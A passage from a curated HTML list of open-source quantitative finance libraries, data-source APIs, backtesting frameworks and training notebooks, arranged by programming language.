<li><a href="https://pypi.org/project/bronto-python/">bronto-python</a> - Bronto API Integration for Python.</li>
<li><a href="https://github.com/rainx/pytdx">pytdx</a> - Python Interface for retrieving chinese stock realtime quote data from TongDaXin Nodes.</li>
<li><a href="https://github.com/matthewgilbert/pdblp">pdblp</a> - A simple interface to integrate pandas and the Bloomberg Open API.</li>
<li><a href="https://github.com/hydrosquall/tiingo-python">tiingo</a> - Python interface for daily composite prices/OHLC/Volume + Real-time News Feeds, powered by the Tiingo Data Platform.</li>
<li><a href="https://github.com/addisonlynch/iexfinance">iexfinance</a> - Python Interface for retrieving real-time and historical prices and equities data from The Investor's Exchange.</li>
<li><a href="https://github.com/timkpaine/pyEX">pyEX</a> - Python interface to IEX with emphasis on pandas, support for streaming data, premium data, points data (economic, rates, commodities), and technical indicators.</li>
<li><a href="https://github.com/alpacahq/alpaca-trade-api-python">alpaca-trade-api</a> - Python interface for retrieving real-time and historical prices from Alpaca API as well as trade execution.</li>
<li><a href="https://pypi.org/project/MetaTrader5/">metatrader5</a> - API Connector to MetaTrader 5 Terminal</li>
<li><a href="https://github.com/jindaxiang/akshare">akshare</a> - AkShare is an elegant and simple financial data interface library for Python, built for human beings! <a href="https://akshare.readthedocs.io">https://akshare.readthedocs.io</a></li>
<li><a href="https://github.com/dpguthrie/yahooquery">yahooquery</a> - Python interface for retrieving data through unofficial Yahoo Finance API.</li>
<li><a href="https://github.com/alvarobartt/investpy">investpy</a> - Financial Data Extraction from Investing.com with Python! <a href="https://investpy.readthedocs.io/">https://investpy.readthedocs.io/</a></li>
<li><a href="https://github.com/yahoofinancelive/yliveticker">yliveticker</a> - Live stream of market data from Yahoo Finance websocket.</li>
<li><a href="https://github.com/ran404/bbgbridge">bbgbridge</a> - Easy to use Bloomberg Desktop API wrapper for Python.</li>
<li><a href="https://github.com/RomelTorres/alpha_vantage">alpha_vantage</a> - A python wrapper for Alpha Vantage API for financial data.</li>
<li><a href="https://github.com/FinanceData/FinanceDataReader">FinanceDataReader</a> - Open Source Financial data reader for U.S, Korean, Japanese, Chinese, Vietnamese Stocks</li>
<li><a href="https://github.com/TomasKoutek/pystlouisfed">pystlouisfed</a> - Python client for Federal Reserve Bank of St. Louis API - FRED, ALFRED, GeoFRED and FRASER.</li>
<li><a href="https://github.com/wilsonfreitas/python-bcb">python-bcb</a> - Python interface to Brazilian Central Bank web services.</li>
<li><a href="https://github.com/maread99/market_prices">market-prices</a> - Create meaningful OHLCV datasets from knowledge of <a href="https://github.com/gerrymanoim/exchange_calendars">exchange-calendars</a> (works out-the-box with data from Yahoo Finance).</li>
<li><a href="https://github.com/tardis-dev/tardis-python">tardis-python</a> - Python interface for Tardis.dev high frequency crypto market data</li>
<li><a href="https://github.com/crypto-lake/lake-api">lake-api</a> - Python interface for Crypto Lake high frequency crypto market data</li>
<li><a href="https://github.com/ymyke/tessa">tessa</a> - simple, hassle-free access to price information of financial assets (currently based on yfinance and pycoingecko), including search and a symbol class.</li>
<li><a href="https://github.com/dr-leo/pandaSDMX">pandaSDMX</a> - Python package that implements SDMX 2.1 (ISO 17369:2013), a format for exchange of statistical data and metadata used by national statistical agencies, central banks, and international organisations.</li>
<li><a href="https://github.com/LenkaV/CIF">cif</a> - Python package that include few composite indicators, which summarize multidimensional relationships between individual economic indicators.</li>
<li><a href="https://github.com/theOGognf/finagg">finagg</a> - finagg is a Python package that provides implementations of popular and free financial APIs, tools for aggregating historical data from those APIs into SQL databases, and tools for transforming aggregated data into features useful for analysis and AI/ML.</li>
</ul>
<h3>Excel Integration</h3>
<ul>
<li><a href="https://www.xlwings.org/">xlwings</a> - Make Excel fly with Python.</li>
<li><a href="https://openpyxl.readthedocs.io/en/latest/">openpyxl</a> - Read/Write Excel 2007 xlsx/xlsm files.</li>
<li><a href="https://github.com/python-excel/xlrd">xlrd</a> - Library for developers to extract data from Microsoft Excel spreadsheet files.</li>
<li><a href="https://xlsxwriter.readthedocs.io/">xlsxwriter</a> - Write files in the Excel 2007+ XLSX file format.</li>
<li><a href="https://github.com/python-excel/xlwt">xlwt</a> - Library to create spreadsheet files compatible with MS Excel 97/2000/XP/2003 XLS files, on any platform.</li>
<li><a href="https://datanitro.com/">DataNitro</a> - DataNitro also offers full-featured Python-Excel integration, including UDFs. Trial downloads are available, but users must purchase a license.</li>
<li><a href="http://xlloop.sourceforge.net">xlloop</a> - XLLoop is an open source framework for implementing Excel user-defined functions (UDFs) on a centralised server (a function server).</li>
<li><a href="http://www.bnikolic.co.uk/expy/expy.html">expy</a> - The ExPy add-in allows easy use of Python directly from within an Microsoft Excel spreadsheet, both to execute arbitrary code and to define new Excel functions.</li>
<li><a href="https://www.pyxll.com">pyxll</a> - PyXLL is an Excel add-in that enables you to extend Excel using nothing but Python code.</li>
</ul>
<h3>Visualization</h3>
<ul>
<li><a href="https://github.com/man-group/dtale">D-Tale</a> - Visualizer for pandas dataframes and xarray datasets.</li>
<li><a href="https://github.com/matplotlib/mplfinance">mplfinance</a> - matplotlib utilities for the visualization, and visual analysis, of financial data.</li>
<li><a href="https://github.com/highfestiva/finplot">finplot</a> - Performant and effortless finance plotting for Python.</li>
<li><a href="https://github.com/lit26/finvizfinance">finvizfinance</a> - Finviz analysis python library.</li>
<li><a href="https://github.com/maread99/market_analy">market-analy</a> - Analysis and interactive charting using <a href="https://github.com/maread99/market_prices">market-prices</a> and bqplot.</li>
</ul>
<h2>R</h2>
<h3>Numerical Libraries & Data Structures</h3>
<ul>
<li><a href="https://github.com/joshuaulrich/xts">xts</a> - eXtensible Time Series: Provide for uniform handling of R's different time-based data classes by extending zoo, maximizing native format information preservation and allowing for user level customization and extension, while simplifying cross-class interoperability.</li>
<li><a href="https://github.com/Rdatatable/data.table">data.table</a> - Extension of data.frame: Fast aggregation of large data (e.g. 100GB in RAM), fast ordered joins, fast add/modify/delete of columns by group using no copies at all, list columns and a fast file reader (fread). Offers a natural and flexible syntax, for faster development.</li>
<li><a href="https://github.com/dppalomar/sparseEigen">sparseEigen</a> - Sparse pricipal component analysis.</li>
<li><a href="http://tsdbi.r-forge.r-project.org/">TSdbi</a> - Provides a common interface to time series databases.</li>
<li><a href="https://cran.r-project.org/web/packages/tseries/index.html">tseries</a> - Time Series Analysis and Computational Finance.</li>
<li><a href="https://cran.r-project.org/web/packages/zoo/index.html">zoo</a> - S3 Infrastructure for Regular and Irregular Time Series (Z's Ordered Observations).</li>
<li><a href="https://cran.r-project.org/web/packages/tis/index.html">tis</a> - Functions and S3 classes for time indexes and time indexed series, which are compatible with FAME frequencies.</li>
<li><a href="https://cran.r-project.org/web/packages/tfplot/index.html">tfplot</a> - Utilities for simple manipulation and quick plotting of time series data.</li>
<li><a href="https://cran.r-project.org/web/packages/tframe/index.html">tframe</a> - A kernel of functions for programming time series methods in a way that is relatively independently of the representation of time.</li>
</ul>
<h3>Data Sources</h3>
<ul>
<li><a href="https://cran.r-project.org/web/packages/IBrokers/index.html">IBrokers</a> - Provides native R access to Interactive Brokers Trader Workstation API.</li>
<li><a href="https://github.com/Rblp/Rblpapi">Rblpapi</a> - An R Interface to 'Bloomberg' is provided via the 'Blp API'.</li>
<li><a href="https://www.quandl.com/tools/r">Quandl</a> - Get Financial Data Directly Into R.</li>
<li><a href="https://github.com/jangorecki/Rbitcoin">Rbitcoin</a> - Unified markets API interface (bitstamp, kraken, btce, bitmarket).</li>
<li><a href="https://github.com/msperlin/GetTDData">GetTDData</a> - Downloads and aggregates data for Brazilian government issued bonds directly from the website of Tesouro Direto.</li>
<li><a href="https://github.com/msperlin/GetHFData">GetHFData</a> - Downloads and aggregates high frequency trading data for Brazilian instruments directly from Bovespa ftp site.</li>
<li><a href="https://dashboard.nbshare.io/apps/reddit/api/">Reddit WallstreetBets API</a> - Provides daily top 50 stocks from reddit (subreddit) Wallstreetbets and their sentiments via the API.</li>
<li><a href="https://github.com/eddelbuettel/td">td</a> - Interfaces the 'twelvedata' API for stocks and (digital and standard) currencies.</li>
<li><a href="https://github.com/wilsonfreitas/rbcb">rbcb</a> - R interface to Brazilian Central Bank web services.</li>
<li><a href="https://github.com/ropensci/rb3">rb3</a> - A bunch of downloaders and parsers for data delivered from B3.</li>
<li><a href="https://github.com/matthiasgomolka/simfinapi">simfinapi</a> - Makes 'SimFin' data (<a href="https://simfin.com/">https://simfin.com/</a>) easily accessible in R.</li>
</ul>
<h3>Financial Instruments and Pricing</h3>
<ul>
<li><a href="http://dirk.eddelbuettel.com/code/rquantlib.html">RQuantLib</a> - RQuantLib connects GNU R with QuantLib.</li>
<li><a href="https://cran.r-project.org/web/packages/quantmod/index.html">quantmod</a> - Quantitative Financial Modelling Framework.</li>
<li><a href="https://www.rmetrics.org">Rmetrics</a> - The premier open source software solution for teaching and training quantitative finance.
<ul>
<li><a href="https://cran.r-project.org/web/packages/fAsianOptions/index.html">fAsianOptions</a> - EBM and Asian Option Valuation.</li>
<li><a href="https://cran.r-project.org/web/packages/fAssets/index.html">fAssets</a> - Analysing and Modelling Financial Assets.</li>
<li><a href="https://cran.r-project.org/web/packages/fBasics/index.html">fBasics</a> - Markets and Basic Statistics.</li>
<li><a href="https://cran.r-project.org/web/packages/fBonds/index.html">fBonds</a> - Bonds and Interest Rate Models.</li>
<li><a href="https://cran.r-project.org/web/packages/fExoticOptions/index.html">fExoticOptions</a> - Exotic Option Valuation.</li>
<li><a href="https://cran.r-project.org/web/packages/fOptions/index.html">fOptions</a> - Pricing and Evaluating Basic Options.</li>
<li><a href="https://cran.r-project.org/web/packages/fPortfolio/index.html">fPortfolio</a> - Portfolio Selection and Optimization.</li>
</ul> </li>
<li><a href="https://github.com/dgerlanc/portfolio">portfolio</a> - Analysing equity portfolios.</li>
<li><a href="https://github.com/dppalomar/sparseIndexTracking">sparseIndexTracking</a> - Portfolio design to track an index.</li>
<li><a href="https://github.com/dppalomar/covFactorModel">covFactorModel</a> - Covariance matrix estimation via factor models.</li>
<li><a href="https://github.com/dppalomar/riskParityPortfolio">riskParityPortfolio</a> - Blazingly fast design of risk parity portfolios.</li>
<li><a href="https://cran.r-project.org/web/packages/sde/index.html">sde</a> - Simulation and Inference for Stochastic Differential Equations.</li>
<li><a href="https://cran.r-project.org/web/packages/YieldCurve/index.html">YieldCurve</a> - Modelling and estimation of the yield curve.</li>
<li><a href="https://cran.r-project.org/web/packages/SmithWilsonYieldCurve/index.html">SmithWilsonYieldCurve</a> - Constructs a yield curve by the Smith-Wilson method from a table of LIBOR and SWAP rates.</li>
<li><a href="https://cran.r-project.org/web/packages/ycinterextra/index.html">ycinterextra</a> - Yield curve or zero-coupon prices interpolation and extrapolation.</li>
<li><a href="https://cran.r-project.org/web/packages/AmericanCallOpt/index.html">AmericanCallOpt</a> - This package includes pricing function for selected American call options with underlying assets that generate payouts.</li>
<li><a href="https://cran.r-project.org/web/packages/VarSwapPrice/index.html">VarSwapPrice</a> - Pricing a variance swap on an equity index.</li>
<li><a href="https://cran.r-project.org/web/packages/RND/index.html">RND</a> - Risk Neutral Density Extraction Package.</li>
<li><a href="https://cran.r-project.org/web/packages/LSMonteCarlo/index.html">LSMonteCarlo</a> - American options pricing with Least Squares Monte Carlo method.</li>
<li><a href="https://cran.r-project.org/web/packages/OptHedging/index.html">OptHedging</a> - Estimation of value and hedging strategy of call and put options.</li>
<li><a href="https://cran.r-project.org/web/packages/tvm/index.html">tvm</a> - Time Value of Money Functions.</li>
<li><a href="https://cran.r-project.org/web/packages/OptionPricing/index.html">OptionPricing</a> - Option Pricing with Efficient Simulation Algorithms.</li>
<li><a href="https://github.com/blenezet/credule">credule</a> - Credit Default Swap Functions.</li>
<li><a href="https://cran.r-project.org/web/packages/derivmkts/index.html">derivmkts</a> - Functions and R Code to Accompany Derivatives Markets.</li>
<li><a href="https://github.com/felixfan/FinCal">FinCal</a> - Package for time value of money calculation, time series analysis and computational finance.</li>
<li><a href="https://github.com/artyyouth/r-quant">r-quant</a> - R code for quantitative analysis in finance.</li>
<li><a href="https://github.com/taylorizing/options.studies">options.studies</a> - options trading studies functions for use with options.data package and shiny.</li>
<li><a href="https://github.com/braverock/PortfolioAnalytics">PortfolioAnalytics</a> - Portfolio Analysis, Including Numerical Methods for Optimizationof Portfolios.</li>
<li><a href="https://github.com/imanuelcostigan/fmbasics">fmbasics</a> - Financial Market Building Blocks.</li>
<li><a href="https://github.com/wilsonfreitas/R-fixedincome">R-fixedincome</a> - Fixed income tools for R.</li>
</ul>
<h3>Trading</h3>
<ul>
<li><a href="https://cran.r-project.org/web/packages/backtest/index.html">backtest</a> - Exploring Portfolio-Based Conjectures About Financial Instruments.</li>
<li><a href="https://cran.r-project.org/web/packages/pa/index.html">pa</a> - Performance Attribution for Equity Portfolios.</li>
<li><a href="https://github.com/joshuaulrich/TTR">TTR</a> - Technical Trading Rules.</li>
<li><a href="https://quanttools.bitbucket.io/_site/index.html">QuantTools</a> - Enhanced Quantitative Trading Modelling.</li>
<li><a href="https://github.com/braverock/blotter">blotter</a> - Transaction infrastructure for defining instruments, transactions, portfolios and accounts for trading systems and simulation. Provides portfolio support for multi-asset class and multi-currency portfolios. Actively maintained and developed.</li>
</ul>
<h3>Backtesting</h3>
<ul>
<li><a href="https://github.com/braverock/quantstrat">quantstrat</a> - Transaction-oriented infrastructure for constructing trading systems and simulation. Provides support for multi-asset class and multi-currency portfolios for backtesting and other financial research.</li>
</ul>
<h3>Risk Analysis</h3>
<ul>
<li><a href="https://github.com/braverock/PerformanceAnalytics">PerformanceAnalytics</a> - Econometric tools for performance and risk analysis.</li>
</ul>
<h3>Factor Analysis</h3>
<ul>
<li><a href="https://github.com/braverock/FactorAnalytics">FactorAnalytics</a> - The FactorAnalytics package contains fitting and analysis methods for the three main types of factor models used in conjunction with portfolio construction, optimization and risk management, namely fundamental factor models, time series factor models and statistical factor models.</li>
<li><a href="https://github.com/JustinMShea/ExpectedReturns">Expected Returns</a> - Solutions for enhancing portfolio diversification and replications of seminal papers with R, most of which are discussed in one of the best investment references of the recent decade, Expected Returns: An Investors Guide to Harvesting Market Rewards by Antti Ilmanen.</li>
</ul>
<h3>Time Series</h3>
<ul>
<li><a href="https://cran.r-project.org/web/packages/tseries/index.html">tseries</a> - Time Series Analysis and Computational Finance.</li>
<li><a href="https://cran.r-project.org/web/packages/fGarch/index.html">fGarch</a> - Rmetrics - Autoregressive Conditional Heteroskedastic Modelling.</li>
<li><a href="https://cran.r-project.org/web/packages/timeSeries/index.html">timeSeries</a> - Rmetrics - Financial Time Series Objects.</li>
<li><a href="https://github.com/alexiosg/rugarch">rugarch</a> - Univariate GARCH Models.</li>
<li><a href="https://github.com/alexiosg/rmgarch">rmgarch</a> - Multivariate GARCH Models.</li>
<li><a href="https://github.com/edgararuiz/tidypredict">tidypredict</a> - Run predictions inside the database <a href="https://tidypredict.netlify.com/">https://tidypredict.netlify.com/</a>.</li>
<li><a href="https://github.com/business-science/tidyquant">tidyquant</a> - Bringing financial analysis to the tidyverse.</li>
<li><a href="https://github.com/business-science/timetk">timetk</a> - A toolkit for working with time series in R.</li>
<li><a href="https://github.com/business-science/tibbletime">tibbletime</a> - Built on top of the tidyverse, tibbletime is an extension that allows for the creation of time aware tibbles through the setting of a time index.</li>
<li><a href="https://github.com/matrix-profile-foundation/matrixprofile">matrixprofile</a> - Time series data mining library built on top of the novel Matrix Profile data structure and algorithms.</li>
<li><a href="https://github.com/AlbertoAlmuinha/garchmodels">garchmodels</a> - A parsnip backend for GARCH models.</li>
</ul>
<h3>Calendars</h3>
<ul>
<li><a href="https://cran.r-project.org/web/packages/timeDate/index.html">timeDate</a> - Chronological and Calendar Objects</li>
<li><a href="https://github.com/wilsonfreitas/R-bizdays">bizdays</a> - Business days calculations and utilities</li>
</ul>
<h2>Matlab</h2>
<h3>FrameWorks</h3>
<ul>
<li><a href="https://github.com/yutiansut/quantaxis">QUANTAXIS</a> - Integrated Quantitative Toolbox with Matlab.</li>
</ul>
<h2>Julia</h2>
<ul>
<li><a href="https://github.com/pazzo83/QuantLib.jl">QuantLib.jl</a> - Quantlib implementation in pure Julia.</li>
<li><a href="https://github.com/aviks/Ito.jl">Ito.jl</a> - A Julia package for quantitative finance.</li>
<li><a href="https://github.com/femtotrader/TALib.jl">TALib.jl</a> - A Julia wrapper for TA-Lib.</li>
<li><a href="https://github.com/JuliaComputing/Miletus.jl">Miletus.jl</a> - A financial contract definition, modeling language, and valuation framework.</li>
<li><a href="https://github.com/dysonance/Temporal.jl">Temporal.jl</a> - Flexible and efficient time series class & methods.</li>
<li><a href="https://github.com/dysonance/Indicators.jl">Indicators.jl</a> - Financial market technical analysis & indicators on top of Temporal.</li>
<li><a href="https://github.com/dysonance/Strategems.jl">Strategems.jl</a> - Quantitative systematic trading strategy development and backtesting.</li>
<li><a href="https://github.com/JuliaStats/TimeSeries.jl">TimeSeries.jl</a> - Time series toolkit for Julia.</li>
<li><a href="https://github.com/JuliaQuant/MarketTechnicals.jl">MarketTechnicals.jl</a> - Technical analysis of financial time series on top of TimeSeries.</li>
<li><a href="https://github.com/JuliaQuant/MarketData.jl">MarketData.jl</a> - Time series market data.</li>
<li><a href="https://github.com/femtotrader/TimeFrames.jl">TimeFrames.jl</a> - A Julia library that defines TimeFrame (essentially for resampling TimeSeries).</li>
<li><a href="https://github.com/JuliaData/DataFrames.jl">DataFrames.jl</a> - In-memory tabular data in Julia</li>
<li><a href="https://github.com/xKDR/TSFrames.jl">TSFrames.jl</a> - Handle timeseries data on top of the powerful and mature DataFrames.jl</li>
</ul>
<h2>Java</h2>
<ul>
<li><a href="http://strata.opengamma.io/">Strata</a> - Modern open-source analytics and market risk library designed and written in Java.</li>
<li><a href="http://www.jquantlib.org">JQuantLib</a> - JQuantLib is a free, open-source, comprehensive framework for quantitative finance, written in 100% Java.</li>
<li><a href="http://finmath.net">finmath.net</a> - Java library with algorithms and methodologies related to mathematical finance.</li>
<li><a href="https://github.com/lsgro/quantcomponents">quantcomponents</a> - Free Java components for Quantitative Finance and Algorithmic Trading.</li>
<li><a href="https://lakshmidrip.github.io/DRIP">DRIP</a> - Fixed Income, Asset Allocation, Transaction Cost Analysis, XVA Metrics Libraries.</li>
<li><a href="https://github.com/ta4j/ta4j">ta4j</a> - A Java library for technical analysis.</li>
</ul>
<h2>JavaScript</h2>
<ul>
<li><a href="https://github.com/ebradyjobory/finance.js">finance.js</a> - A JavaScript library for common financial calculations.</li>
<li><a href="https://github.com/lequant40/portfolio_allocation_js">portfolio-allocation</a> - PortfolioAllocation is a JavaScript library designed to help constructing financial portfolios made of several assets: bonds, commodities, cryptocurrencies, currencies, exchange traded funds (ETFs), mutual funds, stocks...</li>
<li><a href="https://github.com/ghostfolio/ghostfolio">Ghostfolio</a> - Wealth management software to keep track of financial assets like stocks, ETFs or cryptocurrencies and make solid, data-driven investment decisions.</li>
<li><a href="https://github.com/cinar/indicatorts">IndicatorTS</a> - Indicator is a TypeScript module providing various stock technical analysis indicators, strategies, and a backtest framework for trading.</li>
<li><a href="https://github.com/ccxt/ccxt">ccxt</a> - A JavaScript / Python / PHP cryptocurrency trading API with support for more than 100 bitcoin/altcoin exchanges.</li>
<li><a href="https://github.com/CompendiumFi/PENDAX-SDK">PENDAX</a> - Javascript SDK for Trading/Data API and Websockets for FTX, FTXUS, OKX, Bybit, & More.</li>
</ul>
<h3>Data Visualization</h3>
<ul>
<li><a href="https://github.com/yutiansut/QUANTAXIS_Webkit">QUANTAXIS_Webkit</a> - An awesome visualization center based on quantaxis.</li>
</ul>
<h2>Haskell</h2>
<ul>
<li><a href="https://github.com/boundedvariation/quantfin">quantfin</a> - quant finance in pure haskell.</li>
<li><a href="https://github.com/MarcusRainbow/Haxcel">Haxcel</a> - Excel Addin for Haskell.</li>
<li><a href="https://github.com/MarcusRainbow/Ffinar">Ffinar</a> - A financial maths library in Haskell.</li>
</ul>
<h2>Scala</h2>
<ul>
<li><a href="https://github.com/choucrifahed/quantscale">QuantScale</a> - Scala Quantitative Finance Library.</li>
<li><a href="https://github.com/frankcash/Scala-Quant">Scala Quant</a> - Scala library for working with stock data from IFTTT recipes or Google Finance.</li>
</ul>
<h2>Ruby</h2>
<ul>
<li><a href="https://github.com/unageanu/jiji2">Jiji</a> - Open Source Forex algorithmic trading framework using OANDA REST API.</li>
</ul>
<h2>Elixir/Erlang</h2>
<ul>
<li><a href="https://github.com/fremantle-capital/tai">Tai</a> - Open Source composable, real time, market data and trade execution toolkit.</li>
<li><a href="https://github.com/fremantle-industries/workbench">Workbench</a> - From Idea to Execution - Manage your trading operation across a globally distributed cluster</li>
<li><a href="https://github.com/fremantle-industries/prop">Prop</a> - An open and opinionated trading platform using productive & familiar open source libraries and tools for strategy research, execution and operation.</li>
</ul>
<h2>Golang</h2>
<ul>
<li><a href="https://github.com/stellar/kelp">Kelp</a> - Kelp is an open-source Golang algorithmic cryptocurrency trading bot that runs on centralized exchanges and Stellar DEX (command-line usage and desktop GUI).</li>
<li><a href="https://github.com/alpacahq/marketstore">marketstore</a> - DataFrame Server for Financial Timeseries Data.</li>
<li><a href="https://github.com/cinar/indicator">IndicatorGo</a> - IndicatorGo is a Golang module providing various stock technical analysis indicators, strategies, and a backtest framework for trading.</li>
</ul>
<h2>CPP</h2>
<ul>
<li><a href="https://github.com/rburkholder/trade-frame">TradeFrame</a> - C++ 17 based framework/library (with sample applications) for testing options based automated trading ideas using DTN IQ real time data feed and Interactive Brokers (TWS API) for trade execution. Comes with built-in <a href="https://github.com/rburkholder/trade-frame/tree/master/lib/TFOptions">Option Greeks/IV</a> calculation library.</li>
</ul>
<h2>Frameworks</h2>
<ul>
<li><a href="https://www.quantlib.org">QuantLib</a> - The QuantLib project is aimed at providing a comprehensive software framework for quantitative finance.
<ul>
<li><a href="http://www.jquantlib.org">JQuantLib</a> - Java port.</li>
<li><a href="http://dirk.eddelbuettel.com/code/rquantlib.html">RQuantLib</a> - R port.</li>
<li><a href="https://www.quantlib.org/quantlibaddin/">QuantLibAddin</a> - Excel support.</li>
<li><a href="https://www.quantlib.org/quantlibxl/">QuantLibXL</a> - Excel support.</li>
<li><a href="https://github.com/amaggiulli/qlnet">QLNet</a> - .Net port.</li>
<li><a href="https://github.com/enthought/pyql">PyQL</a> - Python port.</li>
<li><a href="https://github.com/pazzo83/QuantLib.jl">QuantLib.jl</a> - Julia port.</li>
<li><a href="https://quantlib-python-docs.readthedocs.io/">QuantLib-Python Documentation</a> - Documentation for the Python bindings for the QuantLib library</li>
<li><a href="https://github.com/auto-differentiation/quantlib-xad">QuantLib with Automatic Differention enabled</a> - Integration of Automatic Differentiation with the QuantLib library</li>
</ul> </li>
<li><a href="https://ta-lib.org">TA-Lib</a> - perform technical analysis of financial market data.
<ul>
<li><a href="https://github.com/TA-Lib/ta-lib-python">ta-lib-python</a></li>
<li><a href="https://github.com/TA-Lib/ta-lib">ta-lib</a></li>
</ul> </li>
<li><a href="https://portfoliooptimizer.io/">Portfolio Optimizer</a> - Portfolio Optimizer is a Web API for portfolio analysis and optimization.</li>
</ul>
<h2>CSharp</h2>
<ul>
<li><a href="https://github.com/QuantConnect/Lean">QuantConnect</a> - Lean Engine is an open-source fully managed C# algorithmic trading engine built for desktop and cloud usage.</li>
<li><a href="https://github.com/StockSharp/StockSharp">StockSharp</a> - Algorithmic trading and quantitative trading open source platform to develop trading robots (stock markets, forex, crypto, bitcoins, and options).</li>
<li><a href="https://github.com/NVentimiglia/TDAmeritrade.DotNetCore">TDAmeritrade.DotNetCore</a> - Free, open-source .NET Client for the TD Ameritrade Trading Platform. Helps developers integrate TD Ameritrade API into custom trading solutions.</li>
</ul>
<h2>Rust</h2>
<ul>
<li><a href="https://github.com/MarcusRainbow/QuantMath">QuantMath</a> - Financial maths library for risk-neutral pricing and risk</li>
<li><a href="https://github.com/barter-rs/barter-rs">Barter</a> - Open-source Rust framework for building event-driven live-trading & backtesting systems</li>
<li><a href="https://github.com/MathisWellmann/lfest-rs">LFEST</a> - Simulated perpetual futures exchange to trade your strategy against.</li>
<li><a href="https://github.com/MathisWellmann/trade_aggregation-rs">TradeAggregation</a> - Aggregate trades into user-defined candles using information driven rules.</li>
<li><a href="https://github.com/MathisWellmann/sliding_features-rs">SlidingFeatures</a> - Chainable tree-like sliding windows for signal processing and technical analysis.</li>
<li><a href="https://github.com/avhz/RustQuant">RustQuant</a> - Quantitative finance library written in Rust.</li>
</ul>
<h2>Reproducing Works, Training & Books</h2>
<ul>
<li><a href="https://github.com/MarcosCarreira/DermanPapers">Derman Papers</a> - Notebooks that replicate original quantitative finance papers from Emanuel Derman.</li>
<li><a href="https://www.ml-quant.com/">ML-Quant</a> - Top Quant resources like ArXiv (sanity), SSRN, RePec, Journals, Podcasts, Videos, and Blogs.</li>
<li><a href="https://github.com/jasonstrimpel/volatility-trading">volatility-trading</a> - A complete set of volatility estimators based on Euan Sinclair's Volatility Trading.</li>
<li><a href="https://github.com/paulperry/quant">quant</a> - Quantitative Finance and Algorithmic Trading exhaust; mostly ipython notebooks based on Quantopian, Zipline, or Pandas.</li>
<li><a href="https://github.com/rsvp/fecon235">fecon235</a> - Open source project for software tools in financial economics. Many jupyter notebook to verify theoretical ideas and practical methods interactively.</li>
<li><a href="https://github.com/LongOnly/Quantitative-Notebooks">Quantitative-Notebooks</a> - Educational notebooks on quantitative finance, algorithmic trading, financial modelling and investment strategy</li>
<li><a href="https://quantecon.org/">QuantEcon</a> - Lecture series on economics, finance, econometrics and data science; QuantEcon.py, QuantEcon.jl, notebooks</li>
<li><a href="https://github.com/Finance-Hub/FinanceHub">FinanceHub</a> - Resources for Quantitative Finance</li>
<li><a href="https://github.com/dedwards25/Python_Option_Pricing">Python_Option_Pricing</a> - An libary to price financial options written in Python. Includes: Black Scholes, Black 76, Implied Volatility, American, European, Asian, Spread Options.</li>
<li><a href="https://github.com/jpmorganchase/python-training">python-training</a> - J.P. Morgan's Python training for business analysts and traders.</li>
<li><a href="https://github.com/LastAncientOne/Stock_Analysis_For_Quant">Stock_Analysis_For_Quant</a> - Different Types of Stock Analysis in Excel, Matlab, Power BI, Python, R, and Tableau.</li>
<li><a href="https://github.com/chrisconlan/algorithmic-trading-with-python">algorithmic-trading-with-python</a> - Source code for Algorithmic Trading with Python (2020) by Chris Conlan.</li>
<li><a href="https://github.com/cerlymarco/MEDIUM_NoteBook">MEDIUM_NoteBook</a> - Repository containing notebooks of <a href="https://github.com/cerlymarco">cerlymarco</a>'s posts on Medium.</li>
<li><a href="https://github.com/PythonCharmers/QuantFinance">QuantFinance</a> - Training materials in quantitative finance.</li>
<li><a href="https://github.com/mgroncki/IPythonScripts">IPythonScripts</a> - Tutorials about Quantitative Finance in Python and QuantLib: Pricing, xVAs, Hedging, Portfolio Optimisation, Machine Learning and Deep Learning.</li>
<li><a href="https://github.com/LechGrzelak/Computational-Finance-Course">Computational-Finance-Course</a> - Materials for the course of Computational Finance.</li>
<li><a href="https://github.com/emoen/Machine-Learning-for-Asset-Managers">Machine-Learning-for-Asset-Managers</a> - Implementation of code snippets, exercises and application to live data from Machine Learning for Asset Managers (Elements in Quantitative Finance) written by Prof. Marcos López de Prado.</li>
<li><a href="https://github.com/PacktPublishing/Python-for-Finance-Cookbook">Python-for-Finance-Cookbook</a> - Python for Finance Cookbook, published by Packt.</li>
<li><a href="https://github.com/ysaporito/modelos_vol_derivativos">modelos_vol_derivativos</a> - "Modelos de Volatilidade para Derivativos" book's Jupyter notebooks</li>
<li><a href="https://github.com/enricoschumann/NMOF">NMOF</a> - Functions, examples and data from the first and the second edition of "Numerical Methods and Optimization in Finance" by M. Gilli, D. Maringer and E. Schumann (2019, ISBN:978-0128150658).</li>
<li><a href="https://github.com/yhilpisch/py4fi2nd">py4fi2nd</a> - Jupyter Notebooks and code for Python for Finance (2nd ed., O'Reilly) by Yves Hilpisch.</li>
<li><a href="https://github.com/yhilpisch/aiif">aiif</a> - Jupyter Notebooks and code for the book Artificial Intelligence in Finance (O'Reilly) by Yves Hilpisch.</li>
<li><a href="https://github.com/yhilpisch/py4at">py4at</a> - Jupyter Notebooks and code for the book Python for Algorithmic Trading (O'Reilly) by Yves Hilpisch.</li>
<li><a href="https://github.com/yhilpisch/dawp">dawp</a> - Jupyter Notebooks and code for Derivatives Analytics with Python (Wiley Finance) by Yves Hilpisch.</li>
<li><a href="https://github.com/yhilpisch/dx">dx</a> - DX Analytics | Financial and Derivatives Analytics with Python.</li>
<li><a href="https://github.com/LechGrzelak/QuantFinanceBook">QuantFinanceBook</a> - Quantitative Finance book.</li>
<li><a href="https://github.com/ryanmccrickerd/rough_bergomi">rough_bergomi</a> - A Python implementation of the rough Bergomi model.</li>
<li><a href="https://github.com/ryanmccrickerd/frh-fx">frh-fx</a> - A python implementation of the fast-reversion Heston model of Mechkov for FX purposes.</li>
<li><a href="https://github.com/euclidjda/value-investing-studies">Value Investing Studies</a> - A collection of data analysis studies that examine the performance and characteristics of value investing over long periods of time.</li>
<li><a href="https://github.com/firmai/machine-learning-asset-management">Machine Learning Asset Management</a> - Machine Learning in Asset Management (by @firmai).</li>
<li><a href="https://github.com/LastAncientOne/Deep-Learning-Machine-Learning-Stock">Deep Learning Machine Learning Stock</a> - Deep Learning and Machine Learning stocks represent a promising long-term or short-term opportunity for investors and traders.</li>
<li><a href="https://github.com/jo-cho/Technical_Analysis_and_Feature_Engineering">Technical Analysis and Feature Engineering</a> - Feature Engineering and Feature Importance of Machine Learning in Financial Market.</li>
<li><a href="https://github.com/differential-machine-learning/notebooks">Differential Machine Learning and Axes that matter by Brian Huge and Antoine Savine</a> - Implement, demonstrate, reproduce and extend the results of the Risk articles 'Differential Machine Learning' (2020) and 'PCA with a Difference' (2021) by Huge and Savine, and cover implementation details left out from the papers.</li>
